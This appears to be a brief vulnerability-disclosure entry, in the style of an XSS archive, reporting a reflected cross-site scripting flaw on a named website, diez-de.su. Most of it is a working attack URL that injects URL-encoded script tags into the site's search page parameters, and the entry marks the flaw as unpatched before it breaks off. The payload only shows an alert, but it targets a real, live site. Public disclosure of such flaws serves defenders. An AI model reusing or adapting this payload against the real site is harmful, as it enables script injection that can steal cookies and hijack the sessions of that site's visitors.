diez-de.su XSS vulnerability

Vulnerable URL: http://diez-de.su/poisk.php?a=0categories=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E=%3Cscript%3Ealert%28%2FXSSPOSED%2F%29%3B%3C%2Fscript%3E Details: Description| Value ---|--- Patched:| No Latest check for patch...